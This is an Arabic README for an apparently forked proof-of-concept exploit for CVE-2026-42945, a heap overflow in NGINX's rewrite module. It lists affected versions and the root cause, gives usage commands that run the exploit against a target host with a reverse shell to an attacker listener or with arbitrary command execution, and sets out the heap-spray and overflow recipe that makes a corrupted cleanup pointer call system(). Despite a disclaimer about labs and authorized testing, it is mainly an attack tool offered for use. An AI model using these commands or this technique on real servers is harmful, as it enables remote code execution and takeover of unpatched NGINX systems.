CVE-2026-42945 (NGINX Rift) — إثبات مفهوم (PoC) لتنفيذ الأكواد عن بُعد (RCE) مع قشرة عكسية

إثبات مفهوم لتنفيذ الأكواد عن بُعد للثغرة CVE-2026-42945، وهي تجاوز سعة للمخزن المؤقت في الكومة (heap buffer overflow) في وحدة ngx_http_rewrite_module الخاصة بـ NGINX. يوسّع هذا الفرع (fork) إثبات المفهوم العام المُشغِّل (trigger PoC) بإضافة مستمع قشرة عكسية مدمج ومعاملات استغلال قابلة للضبط لبيئات CTF والمختبرات المعزولة.

ملخص الثغرة

معرّف CVE: CVE-2026-42945
الاسم المستعار: NGINX Rift
المكوّن المتأثر: ngx_http_rewrite_module
الإصدارات المتأثرة: NGINX Open Source 0.6.27 – 1.30.0؛ NGINX Plus R32 – R36
الإصدارات المُصحَّحة: NGINX Open Source 1.30.1 / 1.31.0؛ NGINX Plus R36 P4, R35 P2, R32 P6
السبب الجذري: عدم تطابق في محرك البرمجة النصية ثنائي المرور. تعمل تمريرة حساب الطول على محرك فرعي جديد بقيمة is_args = 0، بينما تعمل تمريرة النسخ على المحرك الرئيسي بقيمة is_args = 1، مما يستدعي ngx_escape_uri(..., NGX_ESCAPE_ARGS). تتوسّع البايتات القابلة للتهريب إلى 3 بايتات لكل منها، مما يسبب تجاوز سعة مخزن مؤقت في الكومة أصغر من الحجم المطلوب ببيانات URI يتحكم بها المهاجم.
المتطلبات الأساسية لتنفيذ الأكواد عن بُعد: إعداد rewrite/set قابل للاستغلال يستخدم التقاطات PCRE غير المسماة ($1, $2) مع ? في سلسلة الاستبدال؛ تعطيل ASLR أو وجود عناوين قاعدة معروفة للكومة/libc؛ القدرة على رشّ الكومة (heap spray) عبر أجسام طلبات POST.

الملفات

الملف	الوصف
`cve_2026_42945_rce_poc.py`	استغلال بلغة Python مع مستمع قشرة عكسية مدمج وأوضاع لتنفيذ الأوامر.

المتطلبات

Python 3.8+
نسخة NGINX على الهدف مطابقة للإصدار القابل للاستغلال وملف الإعداد.
إمكانية الوصول الشبكي إلى منفذ HTTP الخاص بالهدف.
للقشرة العكسية: يجب أن يكون مضيف المهاجم قابلاً للوصول من الهدف على منفذ المستمع المختار.

الاستخدام

تنفيذ أمر واحد

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --cmd "id > /tmp/pwned"

تشغيل قشرة عكسية (bash افتراضيًا)

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

حمولة قشرة عكسية بلغة Python

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --shell-type python \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

معايرة العناوين لهدف محدد

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337 \
  --heap-base 0x555555659000 \
  --libc-base 0x7ffff77ba000 \
  --system-offset 0x50d70

كيفية العمل

رشّ الكومة (Heap Spray): إرسال عدة طلبات POST تحتوي أجسامها على بنية ngx_pool_cleanup_s مزيفة: system@libc | مؤشر إلى الأمر | null. تشغل هذه الأجسام مواقع كومة مستقرة.
تشغيل تجاوز السعة (Trigger Overflow): إرسال طلب GET مصمَّم بعناية إلى نقطة نهاية rewrite قابلة للاستغلال. نمط URI هو:
```
/api/<349 x 'A'><969 x '+'><6-byte heap address>
```
يُفسد تجاوز السعة مؤشر cleanup لبنية ngx_pool_t مجاورة.
تنفيذ الأكواد (Code Execution): عند إتلاف التجمع (pool)، يستدعي مؤشر cleanup المُفسد system(command)، مما ينفذ الأمر الذي يتحكم به المهاجم داخل عملية عامل NGINX.
القشرة العكسية (Reverse Shell): إذا تم استخدام --shell، يكون الأمر عبارة عن حمولة قشرة عكسية ويلتقط المستمع المدمج الاتصال الوارد.

ملاحظة أمنية

هذه الأداة مخصصة لـ:

تمارين CTF والمختبرات.
اختبارات الاختراق المصرح بها مع إذن كتابي.
أبحاث الأمن وأنشطة تقوية الدفاعات.

لا تستخدمها على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

الترخيص

استخدمها على مسؤوليتك الخاصة. المؤلف غير مسؤول عن أي استخدام غير مصرح به أو غير قانوني.

الإسناد

البحث الأصلي عن الثغرة وإثبات المفهوم بواسطة depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). تم إنشاء هذا الفرع (fork) للقشرة العكسية بلغة Python لاستخدام مختبرات الفريق الأحمر / تمارين CTF.

المراجع

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42945
نشرات NGINX الأمنية: https://nginx.org/en/security_advisories.html
قاعدة معرفة F5 / NGINX: https://my.f5.com/manage/s/article/K000161019
مستودع البحث الأصلي: https://github.com/depthfirstdisclosures/nginx-rift

الأكثر شعبية

CVE-2026-42945-Reverse-Shell-POC